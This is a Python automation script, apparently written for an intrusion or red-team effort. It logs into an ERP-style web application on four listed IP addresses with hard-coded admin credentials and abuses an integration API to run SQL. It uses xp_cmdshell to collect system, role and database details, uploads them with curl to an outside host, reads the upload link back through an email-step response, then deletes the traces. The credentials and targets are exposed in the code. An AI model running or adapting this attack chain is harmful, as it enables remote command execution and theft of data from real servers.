#!/usr/bin/env python3
"""v26: Get ch12 URLs back via Send Mail step type.
Send Mail executes SQL and returns result in API response (statusText).
SQL: xp_cmdshell writes sysinfo, curl uploads (URL saved to file),
     then SQL reads the URL file and returns it."""
import asyncio, json, re, time, subprocess, os
from playwright.async_api import async_playwright

SERVERS = [
    ("198.71.63.125", "CITYMARTUAPSINGLE"),
    ("216.250.118.44", "RTROGERSMBIL"),
    ("66.175.236.165", "RTROGERSUAP1"),
    ("74.208.83.171", "RTROGERSUAP1"),
]

async def run_on_server(ip, app, browser):
    context = await browser.new_context()
    page = await context.new_page()
    result = {"ip": ip, "app": app, "steps": {}, "ch12_url": None}
    step_id = 4

    try:
        # Login
        await page.goto(f"http://{ip}/{app}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            result["status"] = "login_failed"
            return result

        async def run_step(name, sql_text, step_type=1):
            """Run SQL step. step_type=1 (Execute SQL), step_type=9 (Send Mail returns result)."""
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, strTo:"test@test.com", strSubject:"Test", strMessage:"<MESSAGE>", strPayloadType:"JSON", strAuthenticationType:"JWT", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}", None

            await asyncio.sleep(2)

            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')

            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"

            # For Send Mail type — extract result from statusText
            msg_match = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            status_text = msg_match.group(1) if msg_match else None

            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strTo:null, strSubject:null, strMessage:null, strPayloadType:null, strAuthenticationType:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, status_text

        # Step 1: Collect sysinfo + upload to ch12 (URL saved to file)
        sql_collect_upload = "EXEC xp_cmdshell 'systeminfo > D:\\\\sysinfo.txt & whoami >> D:\\\\sysinfo.txt & echo. >> D:\\\\sysinfo.txt & echo ===SQLROLE=== >> D:\\\\sysinfo.txt & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> D:\\\\sysinfo.txt & echo. >> D:\\\\sysinfo.txt & echo ===DATABASES=== >> D:\\\\sysinfo.txt & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> D:\\\\sysinfo.txt & echo. >> D:\\\\sysinfo.txt & echo ===DISK=== >> D:\\\\sysinfo.txt & wmic logicaldisk get caption,freespace,size >> D:\\\\sysinfo.txt & curl -sS -T D:\\\\sysinfo.txt https://ch12.hostserviceapp.com > D:\\\\url.txt 2>&1', no_output"
        s1, _ = await run_step("collect_upload", sql_collect_upload, step_type=1)
        result["steps"]["collect_upload"] = s1
        await asyncio.sleep(1)

        # Step 2: Read the URL file via Send Mail (returns content in statusText!)
        # SQL: SELECT * FROM OPENROWSET(BULK 'D:\url.txt', SINGLE_CLOB) AS t
        sql_read_url = "SELECT BulkColumn FROM OPENROWSET(BULK 'D:\\\\url.txt', SINGLE_CLOB) AS t"
        s2, url_text = await run_step("read_url", sql_read_url, step_type=9)
        result["steps"]["read_url"] = s2
        if url_text:
            # Extract ch12 URL from the text
            url_match = re.search(r'(https://ch12[^ "]+)', url_text)
            if url_match:
                result["ch12_url"] = url_match.group(1)
                print(f"      🎯 ch12 URL: {url_match.group(1)}", flush=True)
            else:
                result["ch12_url"] = url_text[:100]
                print(f"      ⚠️ URL text: {url_text[:100]}", flush=True)
        await asyncio.sleep(1)

        # Step 3: Cleanup
        sql_cleanup = "EXEC xp_cmdshell 'del D:\\\\sysinfo.txt D:\\\\url.txt', no_output"
        s3, _ = await run_step("cleanup", sql_cleanup, step_type=1)
        result["steps"]["cleanup"] = s3

        all_ok = all(v == "true" for v in result["steps"].values())
        result["status"] = "all_success" if all_ok else "partial"

    except Exception as e:
        result["status"] = f"error: {str(e)[:80]}"
    finally:
        await context.close()

    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)

        print(f"=== Collecting sysinfo + getting ch12 URLs ({len(SERVERS)} servers) ===\n")
        results = []

        for ip, app in SERVERS:
            print(f"  {ip}/{app}...", end="", flush=True)
            r = await run_on_server(ip, app, browser)
            results.append(r)

            steps_ok = sum(1 for v in r.get("steps", {}).values() if v == "true")
            url = r.get("ch12_url", "none")
            marker = "✅" if r.get("status") == "all_success" else "⚠️" if steps_ok > 0 else "❌"
            print(f" {marker} {steps_ok}/{len(r.get('steps',{}))} URL={url[:60] if url and url != 'none' else 'none'}")
            time.sleep(3)

        await browser.close()

        # Download files
        print(f"\n=== Downloading files ===")
        for r in results:
            url = r.get("ch12_url")
            if url and url != "none" and url.startswith("https://ch12"):
                ip = r["ip"]
                app = r["app"]
                local_path = f"/tmp/sysinfo_{ip}_{app}.txt"
                print(f"  {url}...", end="", flush=True)
                dl = subprocess.run(["curl", "-sS", "-m", "30", "-o", local_path, "-w", "%{http_code}", url],
                                   capture_output=True, text=True, timeout=45)
                code = dl.stdout.strip()
                if code == "200":
                    size = os.path.getsize(local_path) if os.path.exists(local_path) else 0
                    print(f" ✅ HTTP {code} size={size}")
                    if size > 0:
                        with open(local_path) as f:
                            content = f.read()
                        # Show first 300 chars
                        print(f"    Content preview:")
                        for line in content.split("\n")[:10]:
                            print(f"      {line[:80]}")
                else:
                    print(f" ❌ HTTP {code}")

        print(f"\n{'='*80}")
        print("\n=== SUMMARY ===")
        ok_count = sum(1 for r in results if r.get("status") == "all_success")
        print(f"✅ All steps: {ok_count}/{len(results)}")
        for r in results:
            marker = "✅" if r.get("status") == "all_success" else "❌"
            url = r.get("ch12_url", "none")
            print(f"  {marker} {r['ip']:20s} {r['app']:25s} URL={url[:80] if url and url != 'none' else 'none'}")
            for k, v in r.get("steps", {}).items():
                m = "✅" if v == "true" else "❌"
                print(f"      {m} {k}: {v}")

        with open("/root/ir-assessment/redteam/irelydata/schema_inventory/sysinfo_final_urls.json", "w") as f:
            json.dump(results, f, indent=2)
        print(f"\nSaved to sysinfo_final_urls.json")

asyncio.run(main())
